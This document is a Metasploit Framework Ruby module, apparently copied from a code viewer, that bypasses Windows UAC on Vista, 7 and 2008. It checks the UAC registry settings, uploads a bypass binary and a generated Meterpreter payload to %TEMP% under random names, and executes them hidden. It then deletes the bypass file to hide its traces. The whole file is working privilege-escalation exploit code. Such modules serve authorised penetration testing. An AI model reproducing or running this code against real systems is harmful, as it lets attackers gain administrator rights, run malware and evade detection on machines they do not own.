1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 |
## # $Id$ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Local Rank = ExcellentRanking include Post::Common include Exploit::EXE include Post::File def initialize(info={}) super( update_info( info, 'Name'=> 'Windows Escalate UAC Protection Bypass', 'Description' => %q{ This module will bypass Windows UAC by utilizing the trusted publisher certificate through process injection. It will spawn a second shell that has the UAC flag turned off. }, 'License' => MSF_LICENSE, 'Author'=> [ 'David Kennedy "ReL1K" <kennedyd013[at]gmail.com>', 'mitnick', 'mubix <mubix[at]hak5.org>' # Port to local exploit ], 'Version' => '$Revision$', 'Platform'=> [ 'windows' ], 'SessionTypes'=> [ 'meterpreter' ], 'Targets' => [ [ 'Windows', {} ] ], 'DefaultTarget' => 0, 'References'=> [ [ 'URL', ' http://www.trustedsec.com/december-2010/bypass-windows-uac/' ] ], 'DisclosureDate'=> "Dec 31, 2010" )) end def exploit # # Verify use against Vista+ # vuln = false winver = sysinfo["OS"] affected = [ 'Windows Vista', 'Windows 7', 'Windows 2008' ] affected.each { |v| if winver.include? v vuln = true end } if not vuln print_error("#{winver} does not have UAC") return end root_key, base_key = session.sys.registry.splitkey("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System") open_key = session.sys.registry.open_key(root_key, base_key) lua_setting = open_key.query_value('EnableLUA') if lua_setting.data == 1 print_status "UAC is Enabled, checking level..." else print_error "UAC is not enabled, no reason to run module, exiting..." print_error "Run exploit/windows/local/ask to elevate" return end uac_level = open_key.query_value('ConsentPromptBehaviorAdmin') case uac_level.data when 2 print_error "UAC is set to 'Always Notify'" print_error "This module does not bypass this setting, exiting..." return when 5 print_good "UAC is set to Default" print_good "BypassUAC can bypass this setting, continuing..." when 0 print_error "UAC is not enabled, no reason to run module" print_error "Run exploit/windows/local/ask to elevate" return end # # Generate payload and random names for upload # payload = generate_payload_exe # randomize the bypass_uac_filename bypass_uac_filename = Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe" # randomize the payload exe name payload_filename = Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe" # path to the bypassuac binary path = ::File.join(Msf::Config.install_root, "data", "post") # decide, x86 or x64 bpexe = nil if sysinfo["Architecture"] =~ /wow64/i bpexe = ::File.join(path, "bypassuac-x64.exe") else bpexe = ::File.join(path, "bypassuac-x86.exe") end tmpdir = session.fs.file.expand_path("%TEMP%") cmd = "#{tmpdir}\\#{bypass_uac_filename} /c %TEMP%\\#{payload_filename}" print_status("Uploading the bypass UAC executable to the filesystem...") begin # # Upload UAC bypass to the filesystem # session.fs.file.upload_file("%TEMP%\\#{bypass_uac_filename}", bpexe) print_status("Meterpreter stager executable #{payload.length} bytes long being uploaded..") # # Upload the payload to the filesystem # tempexe = tmpdir + "\\" + payload_filename fd = client.fs.file.new(tempexe, "wb") fd.write(payload) fd.close rescue ::Exception => e print_error("Error uploading file #{bypass_uac_filename}: #{e.class} #{e}") return end print_status("Uploaded the agent to the filesystem....") # execute the payload session.sys.process.execute(cmd, nil, {'Hidden' => true}) # delete the uac bypass payload delete_file = "cmd.exe /c del #{tmpdir}\\#{bypass_uac_filename}" session.sys.process.execute(delete_file, nil, {'Hidden' => true}) end end |